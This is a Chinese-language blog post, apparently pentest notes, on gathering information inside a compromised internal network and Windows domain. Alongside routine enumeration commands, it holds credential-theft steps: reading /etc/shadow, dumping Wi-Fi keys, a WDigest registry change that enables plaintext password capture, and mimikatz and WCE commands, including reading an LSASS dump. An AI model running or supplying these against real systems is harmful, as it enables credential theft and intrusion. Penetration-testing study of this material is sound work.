内网信息收集

Lhehe2020

关注

原创最新推荐文章于 2025-06-05 20:36:59 发布 308 阅读 AI 写同款· GEO 优化 ›

内网渗透——内网信息收集渗透测试进入内网之后，首先要对所处的内网环境进行判断，有以下三个方面：对当前机器角色进行判断对当前机器所处网络环境及拓扑结构进行判断分析对当前机器所处区域进行判断。阅读详情

本机信息收集
1.查询账户信息：
对当前主机的用户角色和用户权限做了解，判断是否需要进一步提升权限。

	win：whoami、net user 用户名
	linux：whoami、id、cat /etc/shadow、cat /etc/passwd

2.查询网络和端口信息
根据目的主机的IP地址/网络连接/相关网络地址，确认所连接的网络情况。

win：ipconfig、netstat -ano        
	ARP表：arp -a         
	路由表: route print        
	查看dns缓存记录命令：ipconfig/displaydns
linux：ifconfig、netstat -anplt        
	ARP表:arp -a / 
	路由表:route -n        
	查看登录日志获取登录来源ip

3.查询进程列表
查看本地运行的所有进程，确认本地软件运行情况，重点可以关注安全软件。

	win：tasklist 
	linux: ps、 top

4.查询系统和补丁信息
获取当前主机的系统版本和补丁更新情况，可用来辅助提升权限。

win：
	systeminfo |findstr "KB" 查询系统信息/补丁安装情况。       
	wmic qfe get Caption,description,HotfixID,installedOn   //查询补丁信息，包含说明链接/补丁描述/KB编号/更新时间等信息       
	wmic qfe list full  查询全部信息
	wmic qfe list full /format:htable>c:\hotfixes.html                         //第三条命令导出html到指定位置
Linux: 通过查看内核版本 uname -a 或者使用rpm -qa来查询安装了哪些软件包

5.凭证收集
服务器端存有敏感信息，通过收集各种登录凭证以便扩大战果。

	Windows：本地密码Hash和明文密码/抓取浏览器密码/服务端明文密码
	linux：history记录敏感操作/shadow文件破解/mimipenguin抓取密码/使用Strace收集登录凭证/全盘搜索敏感信息

6.拓展
查看无线网密码

win：
		netsh wlan show profiles
		netsh wlan show profile name=“{填写上一条命令获取到的}” key=clear
linux：
		cd /etc/NetworkManager/system-connections
		随后查看文件夹下的文件即可

7.系统哈希或明文密码获取

1.wce
	使用wce这个获取密码，需要管理员权限
	wce -w

win8和server2012如果抓不出，在目标机修改注册表（CMD运行下命令）

 reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

	2.mimikatz
	要以管理员身份运行，一般用在桌面环境。如果是终端条件，使用能以系统管理员身份运行的程序去调用mimikatz，执行以下两条命令就OK.

	privilege::debug
			sekurlsa::logonpasswords

3.mimikatz内存转储读取密码
	在任务管理器找到lsass进程，之后右击创建转储文件
	然后使用mimikatz加载导出来的内存再抓hash明文

	privilege::debug
	sekurlsa::minidump c:\users\ppbibo\appdata\local\temp\lsass.dmp
	sekurlsa::logonpasswords

域内信息收集
搜集完本机相关信息后，就需要判断当前主机是否在域内，如果在域内，就需要进一步收集域内信息
1.判断是否有域
一般域服务器都会同时作为时间服务器，所以使用下面命令判断主域

运行 net time /domain 该命令后，一般会有如下三种情况:
	1.存在域，但当前用户不是域用户，提示说明权限不够  
		C:\Users>bypass>net time /domain  发生系统错误 5   拒绝访问。
	2.存在域，并且当前用户是域用户   
		C:\Users\Administrator>net time /domain   \\dc.test.com 的当前时间是 2020/10/23 21:18:37 命令成功完成。
	3.当前网络环境为工作组，不存在域   
		C:\Users\Administrator>net time /domain   找不到域 WORKGROUP 的域控制器。

2.查找域管理员

	net user /domain //获取域用户列表
	net group /domain  //查询域内所有用户组列表
	net group “Domain Admins” /domain //查询域管理员用户
	net group "Domain Controllers" /domain  //查看域控制器
	net localgroup administrators /domain  //查询域内置本地管理员组用户

3.找到域控
一般来说，域控服务器IP地址为DNS服务器地址，找到DNS服务器地址就可以定位域控。

nslookup/ping 域名,解析到域控服务器IP地址

收录于

内网

本内容遵循 CC 4.0 BY-SA 版权协议

内网信息收集——基本信息收集一般情况下，一个域的用户只能访问本域内的资源，无法访问其他域的资源，而要想不同域之间实现互访就需要建立信任关系。查看当前主机的操作系统信息，包括当前主机的主机名、操作系统版本、系统目录、所处的工作站（域或工作组）、各网卡信息、安装的补丁信息等。，查看当前主机的端口连接情况，包括当前主机的TCP、UDP等端口监听或开放状况，以及当前主机与网络中其他主机建立的连接情况。，查看当前主机与其他主机远程建立的网络共享连接。，查看当前主机与所连接的客户端主机之间的会话。，查看当前主机开启的共享列表。阅读详情

内网信息收集

相关推荐